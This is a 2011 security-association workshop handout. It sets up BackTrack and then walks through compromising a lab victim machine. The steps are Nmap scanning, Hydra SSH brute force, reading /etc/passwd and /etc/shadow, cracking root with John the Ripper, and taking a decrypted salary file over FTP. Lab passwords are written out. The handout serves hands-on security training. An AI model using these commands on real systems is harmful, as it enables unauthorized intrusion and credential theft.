South Florida ISSA

February 2011 Meeting - Technical Workshop

Jorge Orchilles

Peter Greko

Back Track 4 – R2

1. Insert the Back Track 4 –R2 DVD and reboot your computer.
2. When the BIOS comes up, press F2, F12, etc depending on your BIOS for the Boot Menu – select DVD.
3. When BackTrack splash screen comes up press Enter.
4. To log in:
   1. Username: root
   2. Password: toor
5. Start KDE: *startx*
6. Start networking:
   1. Open a terminal: */etc/init.d/networking start*
   2. Wireless: *KDE-Internet-Wicd Network Manager*
      1. SSID: SFISSA
      2. WPA-PSK: SFISSArocks!
   3. DHCP: 192.168.1.200-249/24
   4. Static IP:
      1. ifconfig eth0 192.168.1.1XX/24
      2. route add default gw 192.168.1.1 (not required)
      3. DNS: *echo nameserver <ip> > /etc/resolve.conf*
      4. Do not use:
         * 192.168.1.1
         * 192.168.1.100 – Level 1 Victim
         * 192.168.1.110 – Level 2 Victim
         * 192.168.1.120 – Metasploitable
   5. Ping 192.168.1.110 to ensure you are up.
7. Updating (won’t work today)
   1. Distro:
      1. *apt-get update*
      2. *apt-get upgrade*
   2. Metasploit
      1. *cd /pentest/exploits/framework3*
      2. *svn up*
8. Nessus (can’t do today)
   1. Download from <http://tenablesecurity.com/download/nessus_download.php>
   2. For Backtrack 4 – R2 use:
      1. Ubuntu 8.04 (32 bits)
      2. Nessus-4.4.0-ubuntu804\_i386.deb
   3. In a terminal:
      1. *dpkg –I Nessus-4.4.0-ubuntu804\_i386.deb*
      2. */opt/nessus/sbin/nessus-adduser*
   4. Register: <http://www.nessus.org/plugins/?view=register-info>
   5. Start Nessus: */etc/init.d/nessusd start*
   6. Go to <http://localhost:8834>

Solution

1. Determine what hosts are up:

* *Netdiscover*
* *Nmap –sP 192.168.1.0/24*
* 192.168.1.100 is our victim

1. Run a port scan:

* *nmap –sSV –P0 –n –O 192.168.1.100*
* Notice webserver is running
* Notice ssh is running
* Open Firefox to <http://192.168.1.100> to view the game-related web pages
* Notice names and email accounts.

1. Create a list of possible usernames on the victim machine. Maybe the IT people? What naming conventions are used in your organization? FLast, LastF, FirstL, First.Last, First, Last?

* Create list of possible usernames in /root/usernames.txt

1. Use Hydra or XHydra to brute force SSH:

* *hydra -L usernames.txt -P /pentest/passwords/wordlists/darkc0de.lst -e ns -t 8 -v 192.168.1.100 ssh2*
* Make sure to check off use username as password

1. Log in with discovered username and password via SSH:

* *ssh bbanter@192.168.1.100*
* bbanter@192.168.1.100's password: *bbanter*
* You’re in! Now what?

1. Confirm user names:

* cat /etc/passwd
* Who has more rights?
  + *cat /etc/group*
  + Notice aadams has sudo rights!
* Update your username.txt file

1. Run Hydra again for the specific know user:

* *hydra 192.168.1.100 ssh2 -s 22 -v -l aadams -P /pentest/password/dictionaries/wordlist.txt -e s -t 8*

1. Log in with aadams credentials

* *ssh aadams@192.168.1.100*
* aadams@192.168.1.100's password: *nostradamus*
* Linux 2.6.16

1. View shadow file

* *sudo cat /etc/shadow*
* Password: *Nostradamus*
* Copy entire line of user passwords you wish to crack to local host /root/shadow

1. Run John the Ripper

* *cd /pentest/password/john-1.7.2/run/*
* *john --users=root /root/shadow*
* Loaded 1 password hash (FreeBSD MD5 [32/32])
* tarot (root)
* guesses: 1 time: 0:00:02:03 (3) c/s: 7287 trying: tarot

1. Login to victim with root

* *su*
* Password: tarot

1. Look around see what you find

* *cd /home/ftp/incoming*
* An encrypted file!

1. Decrypt the file

* *openssl enc -d -aes-128-cbc -in salary\_dec2003.csv.enc -out salary.csv -k tarot*
* *cat salary.csv*

1. Fix the FTP server

* *vim /etc/vsftpd.conf*
* Add # to listen=YES
* Hit Esc then: *wq*
* *modprobe capability*

1. Connect to FTP server

* *ftp 192.168.1.100*
* Connected to 192.168.1.100.
* 220 (vsFTPd 2.0.4)
* Name (192.168.1.100:root): root
* 331 Please specify the password.
* Password: tarot
* 230 Login Successful.
* Remote system type is UNIX
* Using binary mode to transfer files.
* ftp> *cd /home/ftp/incoming/*
* 250 Directory successfully changed.
* ftp>*get salary.csv*